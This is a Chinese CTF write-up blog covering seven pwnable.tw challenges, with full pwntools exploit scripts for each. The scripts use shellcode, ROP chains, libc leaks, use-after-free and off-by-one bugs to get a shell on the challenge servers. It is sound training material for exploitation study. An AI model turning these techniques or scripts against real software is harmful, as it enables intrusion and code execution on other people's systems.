pwnable.tw记录(前八题)
更新中.jpg
start
栈溢出,ret2shellocde
程序流程:执行一次write函数和一次read函数。
- 第一次栈溢出,劫持程序返回write函数的赋参地址(接下来write会将之前的esp地址输出)
- 第二次write输出esp地址,read函数布置栈空间,放上shellcode,并通过esp的偏移找到shellcode的地址,放在返回地址上。
因为第一次最后面retn的时候pop eip,所以第二次write的时候,esp会在0xffffd10c也就是旧的esp的地方。
第二次read的时候,因为add esp,14h,所以这里的覆盖量还是0x14
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import * filename = './start'
p = remote("chall.pwnable.tw",10000)
p.recvuntil("Let's start the CTF:") payload = "a"*0x14+p32(0x08048087) p.send(payload)
esp = u32(p.recv()[0:4]) log.success("esp:"+hex(esp)) shellcode_addr = esp + 0x14 log.success("shellcode_addr:"+hex(shellcode_addr)) shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = "b"*0x14+p32(shellcode_addr) + shellcode log.success("len:"+hex(len(payload))) p.sendline(payload) p.interactive()
|
以前写的:https://blog.csdn.net/qq_43935969/article/details/105717621
orw
开启了沙箱,只能执行open、read和write函数
程序流程:输入shellcode,执行shellcode,但shellcode里面只能orw
找orw的shellcode即可。
https://xz.aliyun.com/t/6645?spm=5176.12901015.0.i12901015.5e28525cINEQJh#toc-3
shellcode的编写思路
打开flag文件(open)
将文件内内容读到(read)指定位置的栈上(其实哪里东西,,,注意不会被覆盖就行)
用write函数读取指定位置的信息即可。
32位函数寄存器
- 第一个参数:ebx
- 第二个参数:ecx
- 第三个参数:edx
int 0x80调用表
几个常用的,不常用的见百度
%eax |
Name |
Source |
%ebx |
%ecx |
%edx |
%esx |
%edi |
1 |
sys_exit |
kernel/exit.c |
int |
- |
- |
- |
- |
2 |
sys_fork |
arch/i386/kernel/process.c |
struct pt_regs |
- |
- |
- |
- |
3 |
sys_read |
fs/read_write.c |
unsigned int |
char * |
size_t |
- |
- |
4 |
sys_write |
fs/read_write.c |
unsigned int |
const char * |
size_t |
- |
- |
5 |
sys_open |
fs/open.c |
const char * |
int |
int |
- |
- |
6 |
sys_close |
fs/open.c |
unsigned int |
- |
- |
|
open
函数原型:int open(const char * pathname, int flags, mode_t mode);
flags表示读写权限,0表示只读
O_RDONLY
:以只读方式打开文件。
O_WRONLY
:以只写方式打开文件。
O_RDWR
:以可读写方式打开文件。
1 2 3 4 5 6 7 8 9 10 11
| int fd = open("/home/orw/flag",0,0)
push 0x00006761 push 0x6c662f77 push 0x726f2f65 push 0x6d6f682f
/bin/sh 0x0068732f 0x00006873 0x6E69622f
|
1 2 3 4
| mov eax,0x5#open函数调用号 mov ebx,esp#第一个参数为字符串地址,因为字符串在刚刚压栈,就是esp xor ecx,ecx#第二个参数为0 int 0x80
|
read
函数原型:ssize_t read(int fd, void *buf, size_t count);
fd是文件描述符
所以这里将open函数的返回值作为文件描述符
1
| read(fd,buf,0x30);//直接用之前的
|
1 2 3 4 5
| mov ebx,eax#fp的地址,也就是open函数返回地址 mov ecx,esp#读入到栈上,因为后续没有push、pop等操作,所以esp不变 mov edx,0x30#长度 mov eax,0x3#read函数调用号 int 0x80
|
write
函数原型:ssize_t write(int fd, const void *buf, size_t nbyte);
标准输出,故文件描述符为1
1 2 3
| mov ebx,0x1#文件描述符为1 mov eax,0x4#write函数调用号 int 0x80
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from pwn import * filename = './orw'
p = remote("chall.pwnable.tw",10001)
p.recvuntil("Give my your shellcode:") payload = asm(''' push 0x00006761 push 0x6c662f77 push 0x726f2f65 push 0x6d6f682f mov eax,0x5 mov ebx,esp xor ecx,ecx int 0x80 mov ebx,eax mov ecx,esp mov edx,0x30 mov eax,0x3 int 0x80 mov ebx,0x1 mov eax,0x4 int 0x80 ''') p.send(payload)
p.interactive()
|
CVE-2018-1160
https://xz.aliyun.com/t/3710?spm=5176.12901015.0.i12901015.1d27525cNPKLYj#toc-0
https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
calc
实现了一个计算器的功能,由于逻辑不严密,导致可以构造非法式子,修改内存的值。
需要耐心分析程序,maybe还需要脑洞大开
主函数很简单,主要看calc函数
主要有三个函数,get_expr用来输入计算公式并过滤非法字符;init_pool在站上分配一段空间并将内容清0;parse_expr是主要函数,用于对计算公式解析并计算。最后由printf函数打印输出结果。
注意:函数结束的条件是!get_expr((int)&expr_0, 1024)
输入的字符串长度大于1024,然后可以返回main继续执行。
bzero函数
原型:extern void bzero(void *s, int n);
- s 要置零的数据的起始地址
- n 要置零的数据字节个数
这里需要好好理解。
漏洞在于,
最后在栈内布置如下rop
值 |
注释 |
0x0805c34b |
pop eax ; ret |
11 |
数值 |
0x080701aa |
pop edx ; ret |
0 |
数值 |
0x080701d1 |
pop ecx ; pop ebx ; ret |
0 |
数值 |
binsh地址 |
通过main ebp计算得到 |
0x08049a21 |
int 0x80 |
0x6E69622f |
“/bin” |
0x0068732f |
“/sh\x00” |
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| from pwn import * filename = './calc' p = process(filename)
context.log_level = 'debug' p.recvuntil("===")
p.sendline("+360") p.recvline() ebp_base = p.recv() ebp_base = int(ebp_base) print("[*]ebp_base1:"+str(ebp_base))
print("[*]ebp_base2:"+hex( int(ebp_base) & 0xffffffff ))
payload1 = "+361+77490" payload2 = "+362-77479" payload3 = "+363+134599427" payload4 = "+364-134599427" payload5 = "+365+77518" payload6 = "+366-77518" p.sendline(payload1) p.sendline(payload2) p.sendline(payload3) p.sendline(payload4) p.sendline(payload5) p.sendline(payload6)
bin_sh_addr=ebp_base + 4 diff_367=bin_sh_addr - 77518 p.sendline('+367'+str(diff_367))
p.sendline('+368') p.recvline() p.recvline() p.recvline() p.recvline() p.recvline() p.recvline() p.recvline() num_368 = p.recvline() diff_368 = 134519329 - int(num_368) print("[*]diff_368:"+str(diff_368)) print("[*]num_368:"+str(num_368))
p.sendline("+368") p.sendline("+368+"+str(diff_368))
p.sendline("+369") p.recvline() p.recvline() num_369 = p.recvline() diff_369 = 1852400175 - int(num_369) p.sendline("+369+"+str(diff_369)) print("[*]num_369:"+str(num_369))
p.sendline("+370") p.recvline() num_370 = p.recvline() print("[*]num_370:"+str(num_370)) diff_370 = int(num_370) - 6845231 p.sendline("+370-"+str(diff_370)) print("[*]diff_370:"+str(diff_370))
p.sendline("a"*2048) p.sendline("+361")
p.interactive()
|
参考:
从pwnable.tw-calc看数组越界造成的任意地址读写
youtube上视频:https://www.youtube.com/watch?v=LTgNNE04x2w
3* 17
dubblesort
保护全开、栈溢出
程序流程
- 输入name => 字符串没有’\x00’截断,信息泄露,计算libc基址
- 输入sort的数字个数 => 个数任意
- 输入数字到arr_sort数组 => 数组在[esp+1Ch]的位置【注意:这里gdb调试的时候用ebp不好使,,,】
- sort进行排序 => 数据从小到大输入才不会被改变
故如果个数较大,使得输入的数据能够覆盖返回地址和参数,即可getshell
1.name(libc基址)
令name=“aaaa”
,查看内存,故令name为“a”×0x18,最后还要发送回车或其他覆盖泄漏地址的低字节。
这里基址的获取不等于0xf7f55000 - 0xf7da2000 = 0x1B3000
,因为本地libc库和目标系统的libc库不一样,偏移也就不同!
libc基址偏移的获取
使用命令readelf -S libc_32.so.6
查找.got.plt
段的起始地址即可。
1 2 3 4 5 6 7
| winter@ubuntu:~/tw$ readelf -S libc_32.so.6 There are 68 section headers, starting at offset 0x1b0cc8:
Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [...] [31] .got.plt PROGBITS 001b0000 1af000 000030 04 WA 0 0 4
|
也就是起始地址为0x001b0000
system和”/bin/sh\x00”偏移
system地址的获取指令:readelf -s libc_32.so.6 | grep system
【注意:s是小写】
1 2 3 4
| winter@ubuntu:~/tw$ readelf -s libc_32.so.6 | grep system 245: 00110690 68 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0 627: 0003a940 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE 1457: 0003a940 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
|
“/bin/sh\x00”获取:使用hex软件查找字符串”/bin/sh”
【直接ida搜索字符串找不到该地址,,,可能由于不再字符串段?】hex下载地址
覆盖返回地址
ida里面显示数组情况:int arr_sort; // [esp+1Ch] [ebp-70h]
,但是由于esp计算是正确的,ebp不对。
根据调试得到,覆盖到canary需要0x18个字节。
canary
因为不能覆盖canary,所以要想办法不改变它的值。
方法是输入“+”或者“-”
发现通过输入“+”、“-”并不会修改它的值。
所以,接下来都填充成system函数,需要9个,接着填上“/bin/sh”的地址。
注意:【一般canary会小于system函数地址(0xf7开头),而libc中system又在“/bin/sh“之前,所以实现从小到大,sort后不会改变顺序,不能用“||sh”,因为大小小于system的地址。】
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from pwn import * filename = './dubblesort' p = process(filename)
context.log_level = 'debug' libc = ELF("./libc_32.so.6")
p.recvuntil("What your name :") p.sendline("aaaa"*6) p.recvuntil("aaaa"*6) leak_me = u32(p.recv()[:4]) log.success("leak:"+hex(leak_me))
libc_base = leak_me - 0x1B000a system = libc_base + 0x0003a940 binsh = libc_base + 0x158e8b log.success("system:"+hex(system))
p.sendline("35")
def my_send(idx,content): log.success("idx:"+str(idx)) p.recvuntil(str(idx)+" number : ") p.sendline(content)
for i in range(24): print(i) my_send(i,str(i)) gdb.attach(p) my_send(24,"+")
for i in range(9): my_send(int(25+i),str(system)) my_send(34,str(binsh))
p.interactive()
|
参考:
- pwnable.tw刷题之dubblesort
hacknote
简单的堆题,uaf(类似于hitcon的uaf)
难点在于libc没有字符串’/bin/sh’,解决方法在于直接将字符串“||sh”作为字符串地址传入即可。
打印内容的语句,能否打印是判断该idx的ptr[i]是否存在
首先修改参数为got表地址,泄漏libc基址,然后修改函数地址为system,后面为“||sh”
system getshell参数
- ‘/bin/sh’字符串地址
- ‘sh’字符串地址
- ‘||sh’字符串(感觉非常有用,,,哈哈哈)
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| from pwn import * filename = './hacknote_4' p = process(filename) p=remote("chall.pwnable.tw",10102) libc = ELF("./libc_32.so.6") elf = ELF("./hacknote_4") context.log_level = 'debug'
def add(size,content): p.recvuntil("Your choice :") p.sendline("1") p.recvuntil("Note size :") p.sendline(str(size)) p.recvuntil("Content :") p.send(content)
def delete(idx): p.sendline("2") p.recvuntil("Index :") p.sendline(str(idx))
def show(idx): p.recvuntil("Your choice :") p.sendline("3") p.recvuntil("Index :") p.sendline(str(idx))
add(0x38,'aaaa') add(0x38,'bbbb')
delete(0) delete(1)
add(0x8,p32(0x0804862b)+p32(elf.got['atoi']))
show(0)
atoi_addr = (u32(p.recv()[:4])) log.success("atoi:"+str(atoi_addr))
libc_base = (atoi_addr) - (libc.symbols['atoi']) system_addr = libc_base + libc.symbols['system']
log.success("system:"+hex(system_addr))
delete(2) add(0x8,p32(system_addr)+'||sh') show(0)
p.interactive()
|
Silver Bullet
off by one修改大小,造成栈溢出。
程序流程,分别是创建,edit修改(使用了strncat)和根据长度减去hp,可以退出循环
strncat
原型
char \* strncat(char *dest, const char *src, size_t n);
strncat()会将dest字符串最后的’\0’覆盖掉,字符追加完成后,再追加’\0’。
程序流程
因为数据最大是0,所以*((_DWORD *)s + 12) = v2;
刚好在数据相邻后面的位置上。
所以,如果第一次输入40个数据,第二次输入8,那么数据长度变为8,还可以继续输入,造成栈溢出
但是要程序返回的话,要需要返回,只有beat函数里面win才能return 0
所以覆盖长度大于,接着覆盖返回地址为输出函数,泄漏got表信息,得到基址,计算system和‘/bin/sh’地址,覆盖返回地址的返回地址为main函数,再次执行覆盖长度,填充返回地址即可得到shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| from pwn import * filename = './silver_bullet' p = process(filename)
context.log_level = 'debug' libc = ELF("./libc_32.so.6") elf = ELF("./silver_bullet")
def cmd(choice): p.recvuntil("Your choice :") p.sendline(str(choice))
def add(content): p.sendline(str(1)) p.recvuntil("Give me your description of bullet :") p.sendline(content)
def edit(content): cmd(2) p.recvuntil("Give me your another description of bullet :") p.sendline(content)
add("a"*40) edit("a"*8)
puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main = 0x08048954
payload = '\xff'*7+p32(puts_plt)+p32(main)+p32(puts_got) edit(payload)
cmd(3) p.recvuntil("Oh ! You win !!\n") puts_addr = u32(p.recv()[:4]) log.success("puts:"+hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts'] system = libc_base + libc.symbols['system'] binsh = libc_base + libc.search('/bin/sh').next()
add("a"*40) edit("a"*8) payload = '\xff'*7+p32(system)+p32(main)+p32(binsh) edit(payload)
cmd(3)
p.interactive()
|
Re-alloc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104
| from pwn import * import sys local = 1 if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'): context.log_level = 'debug'
if local: p = process('./re-alloc') elf = ELF('./re-alloc') libc = elf.libc else: p = remote("chall.pwnable.tw","10106") elf = ELF('./re-alloc') libc = elf.libc
def debug(addr=0,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) print "breakpoint_addr --> " + hex(text_base + 0x202040) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s) rc = lambda s:p.recv(s) sl = lambda s:p.sendline(s) ru = lambda s:p.recvuntil(s) sda = lambda a,s:p.sendafter(a,s) sla = lambda a,s:p.sendlineafter(a,s)
def show(name,addr): log.info(name + " --> %s",hex(addr))
def choice(idx): sla("choice: ",str(idx))
def add(idx,size,data): choice(1) sla("Index:",str(idx)) sla("Size:",str(size)) sda("Data:",data)
def realloc(idx,size,data=''): choice(2) sla("Index:",str(idx)) sla("Size:",str(size)) if size != 0: sda("Data:",data)
def free(idx): choice(3) sla("Index:",str(idx))
add(0,8,"hello") realloc(0,0) realloc(0,8,p64(elf.got['atoll']))
gdb.attach(p)
add(1,8,'n0va') realloc(1,0x20,'aaa') free(1)
realloc(0,0x20,p64(elf.got['atoll']))
add(1,0x20,'bbb') realloc(0,0x30,'bbb') free(0) realloc(1,0x40,'ccc') free(1)
add(0,0x18,p64(elf.plt['printf']))
choice(1)
sla("Index:","%3$p") read_chk = int(ru('\n').strip('\n'),16) - 9 libc_base = read_chk - libc.symbols['__read_chk'] system = libc_base + libc.symbols['system']
show("libc_base: ",libc_base) show("system: ",system)
choice(1) sda("Index:",'a')
sda("Size:",'%32c') sda("Data:",p64(system))
choice(1) sda("Index:",'/bin/sh\x00')
p.interactive()
|
参考:Pwnable.tw刷题之Silverbullet破解过程分享